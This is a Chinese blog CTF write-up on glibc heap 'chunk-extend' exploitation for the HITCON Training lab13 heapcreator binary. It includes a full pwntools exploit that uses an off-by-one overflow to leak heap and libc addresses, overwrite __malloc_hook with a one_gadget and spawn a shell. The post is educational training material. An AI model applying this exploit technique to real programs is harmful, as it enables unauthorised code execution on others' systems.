美文网首页CTF-PWN
pwn老萌新重拾pwn梦想--chunk-extend

pwn老萌新重拾pwn梦想--chunk-extend

作者: 白里个白 | 来源:发表于2019-03-21 22:49 被阅读9次

    写在最前面

    不知不觉已经是2019年3月下旬了,过去的一年里,我将大部分的时间和精力都花在了复习考研上,本来想学习pwn的计划鸽和很久,现在终于有时间将以前pwn的知识捡回来,同时继续我的pwn萌新之旅了.看着身边的人在这一年里,成长进步了很多,许多人已经变成大佬,我这个老萌新也要加油了.时光匆匆,不知道我这个老萌新还能适应ctf吗?

    前言

    chunk-extend是一种ctf中常见的套路,他能带来的好处也很多,比如泄露heap地址,libc的地址之类的,如果条件适当,我们还可以配合其他的堆利用方法,实现getshell等目的.
    效果:

    • 泄露chunk中数据(感觉这个不重要)
    • 泄露已释放堆中数据
    • 覆盖已释放堆中指针
    • 等等
      chunk-extend利用的条件比较常见的是off-by-one等溢出,就是利用0x18这一类堆块占用下一堆块pre-size位置的原理,进行一字节的溢出,进而覆盖下一堆块的size位置的数据.今天也只总结这一种吧,后续补充.
      这次就算是捡回知识,所以复习用的题目就比较简单了.

    题目

    HITCON Trainging lab13
    题目链接
    看下这个题目
    这个题目里的edit函数中存在这样的代码:

    edit

    其中heaparray[v1]中存放的是chunk的size,(*heaparray[v1]+1)其实就是heaparray[v1+1]中存放的是堆的指针.这个题有这个洞就够了.
    在探索它的create后,发现这个题目简直不要太友好,因为heaparray就在堆上,我们甚至不需要构造fastbin-attack之类的条件,直接改heaparray上的指针就好了,但是我还是想在下面把fastbin-attack的思路简单总结下

    思路

    上述已经很明白了
    第一种思路:直接修改heaparray上的指针
    exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    from pwn import *
    
    r = process('./heapcreator')
    heap = ELF('./heapcreator')
    libc = ELF('./libc.so.6')
    one_gadget = 0x4526a
    
    def create(size, content):
        r.recvuntil(":")
        r.sendline("1")
        r.recvuntil(":")
        r.sendline(str(size))
        r.recvuntil(":")
        r.sendline(content)
    
    
    def edit(idx, content):
        r.recvuntil(":")
        r.sendline("2")
        r.recvuntil(":")
        r.sendline(str(idx))
        r.recvuntil(":")
        r.sendline(content)
    
    
    def show(idx):
        r.recvuntil(":")
        r.sendline("3")
        r.recvuntil(":")
        r.sendline(str(idx))
    
    
    def delete(idx):
        r.recvuntil(":")
        r.sendline("4")
        r.recvuntil(":")
        r.sendline(str(idx))
    
    '''
    test for off-by-one
    '''
    create(0x18,'a'*0x18)
    create(0x18,'a'*0x18)
    print r.recvuntil("\n")
    edit(0,'a'*24+'\x71')
    print r.recvuntil("\n")
    '''
    sucess
    '''
    
    '''
    leak address 
    '''
    create(0x10,p64(0)+p64(0x21))#2
    delete(1)
    create(0x60,p64(0xdeadbeefdeadbeef))# 0x40 info:60 1
    show(1)
    r.recvuntil('Content : ')
    r.recv(8)
    a = r.recvuntil('Done !')[:-7]
    '''
    free chunk into fastbin,get heap address
    '''
    heap_addr = u64(a+'\x00'*(8-len(a))) - 0x0a 
    success('heap_addr: '+hex(heap_addr))
    
    '''
    free chunk into unsortbin,get libc address
    '''
    create(0x90,p64(0xbbbb)) #3 info d0 0xe0
    create(0x10,p64(0xaaaa))
    payload = p64(0)+p64(0)+p64(0)+p64(0x21)+p64(0x100)
    edit(1,payload+p64(heap_addr + 0xf0))
    delete(3)
    show(1)
    r.recvuntil('Content : ')
    a = r.recvuntil('Done !')[:-7]
    libc_addr = u64(a+'\x00'*(8-len(a))) - 3951480
    success('lib_addr: ' + hex(libc_addr))
    
    '''
    pwn!!!
    '''
    
    create(0x10,'a')
    edit(1,payload+p64(0)+p64(0xa)+p64(0)*11+p64(0x80)+p64(0x20)+p64(0x10)+p64(libc_addr + 3951376))
    edit(4,p64(one_gadget+ libc_addr))
    '''
    change the content of heaparray.hijack malloc_hook.
    '''
    r.recvuntil(":")
    r.sendline("1")
    r.interactive()
    
    

    这里注释比较清晰了,这里我覆盖了malloc_hook,在第二种方法中,也是可以的
    第二种方法:fastbin-attack
    就不贴代码了,也比较简单,地址都泄露出来了,只要接下了构造0x70的fastbin就ok,直接指向malloc_hook,我一年前的文章应该也提过类似的方法.

    相关文章

      网友评论

        本文标题:pwn老萌新重拾pwn梦想--chunk-extend

        本文链接:https://www.haomeiwen.com/subject/dlwhvqtx.html